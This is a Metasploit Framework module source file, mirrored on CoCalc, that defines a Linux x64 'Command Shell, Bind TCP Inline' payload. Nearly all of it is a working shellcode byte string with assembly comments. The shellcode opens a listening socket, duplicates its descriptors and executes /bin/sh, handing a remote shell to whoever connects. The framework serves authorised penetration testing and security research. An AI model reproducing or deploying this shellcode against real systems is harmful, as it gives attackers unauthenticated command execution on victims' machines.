Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/x64/shell_bind_tcp.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 86
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux::X64::Prepends
11
include Msf::Sessions::CommandShellOptions
12
13
def initialize(info = {})
14
super(
15
merge_info(
16
info,
17
'Name' => 'Linux Command Shell, Bind TCP Inline',
18
'Description' => 'Listen for a connection and spawn a command shell',
19
'Author' => 'ricky',
20
'License' => MSF_LICENSE,
21
'Platform' => 'linux',
22
'Arch' => ARCH_X64,
23
'Handler' => Msf::Handler::BindTcp,
24
'Session' => Msf::Sessions::CommandShellUnix,
25
'Payload' => {
26
'Offsets' =>
27
{
28
'LPORT' => [ 20, 'n' ]
29
},
30
'Payload' =>
31
"\x6a\x29" + # pushq $0x29
32
"\x58" + # pop %rax
33
"\x99" + # cltd
34
"\x6a\x02" + # pushq $0x2
35
"\x5f" + # pop %rdi
36
"\x6a\x01" + # pushq $0x1
37
"\x5e" + # pop %rsi
38
"\x0f\x05" + # syscall
39
"\x48\x97" + # xchg %rax,%rdi
40
"\x52" + # push %rdx
41
"\xc7\x04\x24\x02\x00" + # movl $0xb3150002,(%rsp)
42
"\x15\xb3" \
43
"\x48\x89\xe6" + # mov %rsp,%rsi
44
"\x6a\x10" + # pushq $0x10
45
"\x5a" + # pop %rdx
46
"\x6a\x31" + # pushq $0x31
47
"\x58" + # pop %rax
48
"\x0f\x05" + # syscall
49
"\x6a\x32" + # pushq $0x32
50
"\x58" + # pop %rax
51
"\x0f\x05" + # syscall
52
"\x48\x31\xf6" + # xor %rsi,%rsi
53
"\x6a\x2b" + # pushq $0x2b
54
"\x58" + # pop %rax
55
"\x0f\x05" + # syscall
56
"\x48\x97" + # xchg %rax,%rdi
57
"\x6a\x03" + # pushq $0x3
58
"\x5e" + # pop %rsi
59
"\x48\xff\xce" + # dec %rsi
60
"\x6a\x21" + # pushq $0x21
61
"\x58" + # pop %rax
62
"\x0f\x05" + # syscall
63
"\x75\xf6" + # jne 33 <dup2_loop>
64
"\x6a\x3b" + # pushq $0x3b
65
"\x58" + # pop %rax
66
"\x99" + # cltd
67
"\x48\xbb\x2f\x62\x69\x6e\x2f" + # movabs $0x68732f6e69622f,%rbx
68
"\x73\x68\x00" \
69
"\x53" + # push %rbx
70
"\x48\x89\xe7" + # mov %rsp,%rdi
71
"\x52" + # push %rdx
72
"\x57" + # push %rdi
73
"\x48\x89\xe6" + # mov %rsp,%rsi
74
"\x0f\x05" # syscall
75
}
76
)
77
)
78
end
79
end
80
81